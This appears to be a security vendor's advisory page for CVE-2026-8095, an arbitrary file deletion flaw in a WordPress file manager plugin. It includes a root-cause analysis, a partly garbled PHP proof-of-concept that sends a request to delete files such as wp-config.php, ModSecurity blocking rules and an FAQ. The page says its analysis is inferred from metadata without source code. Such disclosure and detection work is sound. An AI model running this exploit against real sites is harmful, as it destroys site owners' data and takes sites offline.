“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-8095 (metadata-based): This vulnerability allows authenticated attackers with Subscriber-level access to delete arbitrary files on the WordPress server. The flaw resides in the Frontend File Manager Plugin (slug: nmedia-user-file-uploader) version 23.6 and earlier. The CVSS score of 8.1 indicates high severity with impacts on integrity and availability.nnThe root cause is a case-sensitive bypass in the wpfm_file_meta_update AJAX handler. The plugin attempts to sanitize the wpfm_dir_path parameter by checking if it is set, but fails to account for case variations. By supplying WPFM_DIR_PATH in uppercase, the attacker bypasses the unset check. The value is later normalized to wpfm_dir_path by sanitize_key() during update_post_meta(), which overwrites the stored file path. This malicious path is then passed directly to unlink() in delete_file_locally() without any directory containment validation. This conclusion is inferred from the CWE (73: External Control of File Name or Path) and the detailed vulnerability description, as no source code diff is available.nnExploitation requires an authenticated session with Subscriber privileges. The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to wpfm_file_meta_update. The request includes the WPFM_DIR_PATH (uppercase) parameter containing an absolute path to a target file, such as /var/www/html/wp-config.php. The plugin processes the request, overwrites the stored path, and triggers the delete_file_locally() function which calls unlink() on the supplied path. No nonce or additional authorization checks are mentioned, making this a direct exploitation path.nnRemediation requires implementing proper case-insensitive parameter handling and directory path validation. The plugin should use strict comparison functions that account for case variations, such as array_key_exists() with lowercase keys. Additionally, the plugin must validate that the final file path resides within the intended upload directory before passing it to unlink(). This should include realpath() resolution and strpos() checks to prevent directory traversal.nnSuccessful exploitation allows an attacker to delete critical files like wp-config.php, .htaccess, or index.php. Deleting wp-config.php breaks the database connection, rendering the site completely inaccessible. An attacker could delete the active theme’s index.php to cause further disruption. In a deployment where auto-prepend or auto-append files are configured, deletion of those files could lead to remote code execution if combined with other vulnerabilities. The ultimate impact is full site takeover through denial of service and potential privilege escalation.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2026-8095 – Frontend File Manager Plugin ‘wpfm_file_meta_update’,n ‘WPFM_DIR_PATH’ => $target_file, // Uppercase parameter bypasses sanitizationn ‘file_id’ => 1 // Arbitrary file ID, may need adjustmentn);nncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);n$response = curl_exec($ch);nn// Check responsen$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);necho ‘HTTP Response Code: . $http_code . PHP_EOL;necho ‘Response Body: ‘ . substr($response, 0, 500) . PHP_EOL;nnif ($http_code == 200 && strpos($response, ‘success’) !== false) {n echo ‘Exploit likely successful. File deletion attempted.’ . PHP_EOL;n} else {n echo ‘Exploit may have failed. Check error response.’ . PHP_EOL;n}nncurl_close($ch);nn// Note: This PoC assumes the AJAX action wpfm_file_meta_update and parameter WPFM_DIR_PATH are correct based on the CVE description. The file_id parameter may need to be a valid file ID owned by the attacker. No source code was available to confirm exact parameter names or required nonce handling.”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-8095 (metadata-based)n# Blocks exploitation of arbitrary file deletion via case-sensitive bypassn# Targets the wpfm_file_meta_update AJAX handler with uppercase WPFM_DIR_PATH parameternnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20268095,phase:2,deny,status:403,chain,msg:’CVE-2026-8095 exploitation attempt via AJAX – Frontend File Manager Plugin file deletion’,severity:’CRITICAL’,tag:’CVE-2026-8095′”n SecRule ARGS_POST:action “@streq wpfm_file_meta_update” “chain”n SecRule ARGS_POST:WPFM_DIR_PATH “@rx ^/[a-zA-Z0-9_/-]+” \n “t:none”nn# Alternative: Also block if lowercase parameter contains path traversal patternsn# This second rule blocks attempts to use lowercase parameter with directory traversalnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20268096,phase:2,deny,status:403,chain,msg:’CVE-2026-8095 exploitation attempt via AJAX – directory traversal in file path’,severity:’CRITICAL’,tag:’CVE-2026-8095′”n SecRule ARGS_POST:action “@streq wpfm_file_meta_update” “chain”n SecRule ARGS_POST:wpfm_dir_path “@rx \.\./|.\.\\|\.\.%2f|\.\.%5c|\.\.\x00” \n “t:lowercase””
}
“`

CVE-2026-8095: Frontend File Manager Plugin <= 23.6 Authenticated (Subscriber+) Arbitrary File Deletion PoC, Patch Analysis & Rule
CVE-2026-8095
nmedia-user-file-uploader
23.6
—
Analysis Overview
Frequently Asked Questions
What is CVE-2026-8095?
Vulnerability OverviewCVE-2026-8095 is a high-severity vulnerability in the Frontend File Manager Plugin for WordPress (nmedia-user-file-uploader) versions up to and including 23.6. It allows authenticated attackers with Subscriber-level access to delete arbitrary files on the server, potentially leading to full site takeover.
How does the vulnerability work?
Root CauseThe vulnerability is a case-sensitive bypass in the wpfm_file_meta_update AJAX handler. The plugin checks if the wpfm_dir_path parameter is set, but fails to account for uppercase variations. By supplying WPFM_DIR_PATH in uppercase, the attacker evades the unset check. The value is later normalized to lowercase by sanitize_key() during update_post_meta(), overwriting the stored file path. This path is then passed directly to unlink() without directory containment validation, allowing deletion of arbitrary files.
Who is affected by this vulnerability?
Affected UsersAny WordPress site running the Frontend File Manager Plugin version 23.6 or earlier is affected. Sites with Subscriber-level accounts are at risk, as the vulnerability can be exploited by any authenticated user with Subscriber privileges or higher.
How can I check if my site is vulnerable?
DetectionCheck the version of the Frontend File Manager Plugin (nmedia-user-file-uploader) installed on your WordPress site. If it is 23.6 or earlier, your site is vulnerable. You can verify the version in the WordPress admin dashboard under Plugins or by checking the readme.txt file in the plugin directory.
What is the CVSS score and what does it mean?
Risk LevelThe CVSS score is 8.1, which is classified as High severity. This indicates a significant risk to the integrity and availability of the affected system. Exploitation could lead to deletion of critical files, causing site downtime or complete compromise.
What is the practical impact of this vulnerability?
Real-World ConsequencesAn attacker can delete sensitive files such as wp-config.php, .htaccess, or index.php. Deleting wp-config.php breaks the database connection, rendering the site inaccessible. Combined with other vulnerabilities, this could lead to remote code execution or full site takeover.
How can I fix or mitigate this vulnerability?
RemediationUpdate the Frontend File Manager Plugin to the latest patched version as soon as it becomes available. As a temporary mitigation, disable the plugin if not essential, or restrict access to the AJAX handler using a web application firewall (WAF) rule that blocks requests with uppercase WPFM_DIR_PATH parameter.
What does the proof of concept (PoC) demonstrate?
PoC ExplanationThe PoC shows how an authenticated attacker sends a POST request to /wp-admin/admin-ajax.php with the action wpfm_file_meta_update and an uppercase WPFM_DIR_PATH parameter containing the absolute path to a target file. The plugin processes the request and deletes the file. The PoC assumes no nonce or additional authorization checks are required.
Is there a WAF rule available to block exploitation?
ModSecurity RuleYes, a ModSecurity rule is provided in the analysis. It blocks requests to /wp-admin/admin-ajax.php with action wpfm_file_meta_update and an uppercase WPFM_DIR_PATH parameter containing a filesystem path. An additional rule blocks directory traversal patterns in the lowercase parameter.
What is the CWE for this vulnerability?
Weakness ClassificationThe vulnerability is classified as CWE-73: External Control of File Name or Path. This means the software allows user input to control or influence paths used in file operations, leading to unauthorized file access or deletion.
What should I do if I suspect my site has been exploited?
Incident ResponseImmediately check for missing critical files like wp-config.php. Restore from a recent backup if available. Change all admin and database passwords. Review server logs for unauthorized AJAX requests. Update the plugin and apply WAF rules to prevent further exploitation.
Does this vulnerability require any special conditions to exploit?
Exploit PrerequisitesThe attacker must have a valid authenticated session with at least Subscriber-level access on the WordPress site. No additional privileges are needed. The attacker also needs to know or guess the absolute path to the target file.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






